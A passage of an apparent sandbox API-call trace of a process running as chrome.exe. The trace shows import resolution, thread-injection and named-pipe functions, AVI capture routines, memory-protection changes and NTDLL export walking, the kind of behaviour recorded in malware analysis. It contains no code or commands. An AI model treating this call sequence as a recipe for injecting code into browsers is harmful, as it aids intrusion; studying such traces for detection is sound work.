ProcedureAddress=0x23efe0*=0x7705bd80) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770547a0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051170) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77042f60) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bca0) returned 0x0 [0073.167] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770513a0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708e0d0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705bd60) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77056580) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704d9a0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704b6c0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708e070) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051910) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77061bb0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770492d0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77048890) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770547c0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77053ee0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77053f20) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77053ec0) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051120) returned 0x0 [0073.168] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77053f40) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bfb0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704ad90) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704ad70) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a2060) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051870) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770571b0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770635f0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705bdd0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704f9d0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704ec70) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b2fc0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77057210) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a0ca0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77042ce0) returned 0x0 [0073.169] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a1bc0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062b20) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062b90) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704d130) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771b3000) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062df0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77188100) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77056640) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77063690) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770513e0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77057230) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770512b0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770567a0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705bdf0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708c0c0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bac0) returned 0x0 [0073.170] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705c4c0) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77057100) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062bd0) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77055cd0) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77056620) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77056f80) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704d910) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051500) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051150) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708aa70) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704ce10) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770421e0) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705c560) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77055a50) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708a980) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708c380) returned 0x0 [0073.171] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708c320) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770420d0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77048800) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77090000) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708c460) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770469f0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a29d0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a2ba0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77063540) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a27e0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bd70) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77044f80) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x771840f0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77243ad0) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7705bd20) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a2040) returned 0x0 [0073.172] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770577c0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7722c2d0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bda0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77062bb0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051930) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704cf10) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77041e00) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770420f0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770480a0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x77051370) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7704b210) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770a0da0) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x770d8840) returned 0x0 [0073.173] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7708bb70) returned 0x0 [0073.173] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x23eff8 | out: BaseAddress=0x23eff8*=0x7fef87e0000) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e6f58) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e7d88) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e761c) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e761c) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e7848) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e7364) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e7568) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e77e0) returned 0x0 [0073.186] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x23efe0 | out: ProcedureAddress=0x23efe0*=0x7fef87e6f2c) returned 0x0 [0073.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23efe8*=0x1df0000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x4, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23efe8*=0x1df0000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23ef80*=0x1df1000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x20, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23ef80*=0x1df1000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23ef80*=0x1e2a000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x2, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23ef80*=0x1e2a000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23ef80*=0x1e54000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x4, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23ef80*=0x1e54000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23ef80*=0x1e59000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x2, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23ef80*=0x1e59000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23ef80*=0x1e5b000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x4, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23ef80*=0x1e5b000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x23ef80*=0x1e5d000, NumberOfBytesToProtect=0x23eff0, NewAccessProtection=0x2, OldAccessProtection=0x23efe0 | out: BaseAddress=0x23ef80*=0x1e5d000, NumberOfBytesToProtect=0x23eff0, OldAccessProtection=0x23efe0*=0x40) returned 0x0 [0073.209] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x2030000 [0073.218] GetTickCount () returned 0x20f7a [0073.218] GetModuleHandleA (lpModuleName=0x0) returned 0x13f510000 [0073.218] GetVersion () returned 0x1db10106 [0073.218] GetCurrentProcessId () returned 0xb90 [0073.219] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa8 [0073.219] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x208) returned 0x242d2f0 [0073.219] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x242d2f0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x3b [0073.219] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x1800) returned 0x242d500 [0073.219] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.219] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0073.219] GetProcAddress (hModule=0x77040000, lpProcName="IsWow64Process") returned 0x770491d0 [0073.219] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb90) returned 0xb0 [0073.219] IsWow64Process (in: hProcess=0xb0, Wow64Process=0x23eee0 | out: Wow64Process=0x23eee0) returned 1 [0073.219] CloseHandle (hObject=0xb0) returned 1 [0073.219] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0073.220] lstrlenA (lpString="A_SHAFinal") returned 10 [0073.220] lstrlenA (lpString="A_SHAInit") returned 9 [0073.220] lstrlenA (lpString="A_SHAUpdate") returned 11 [0073.220] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0073.220] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0073.220] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0073.220] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0073.220] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0073.220] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0073.220] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0073.220] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0073.220] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0073.220] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0073.220] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0073.220] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0073.220] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0073.220] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0073.220] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0073.220] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0073.220] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0073.220] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0073.220] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0073.220] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0073.220] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0073.220] lstrlenA (lpString="CsrClientCallServer") returned 19 [0073.220] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0073.220] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0073.220] lstrlenA (lpString="CsrGetProcessId") returned 15 [0073.220] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0073.220] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0073.220] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0073.220] lstrlenA (lpString="DbgBreakPoint") returned 13 [0073.220] lstrlenA (lpString="DbgPrint") returned 8 [0073.220] lstrlenA (lpString="DbgPrintEx") returned 10 [0073.220] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0073.220] lstrlenA (lpString="DbgPrompt") returned 9 [0073.220] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0073.220] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0073.220] lstrlenA 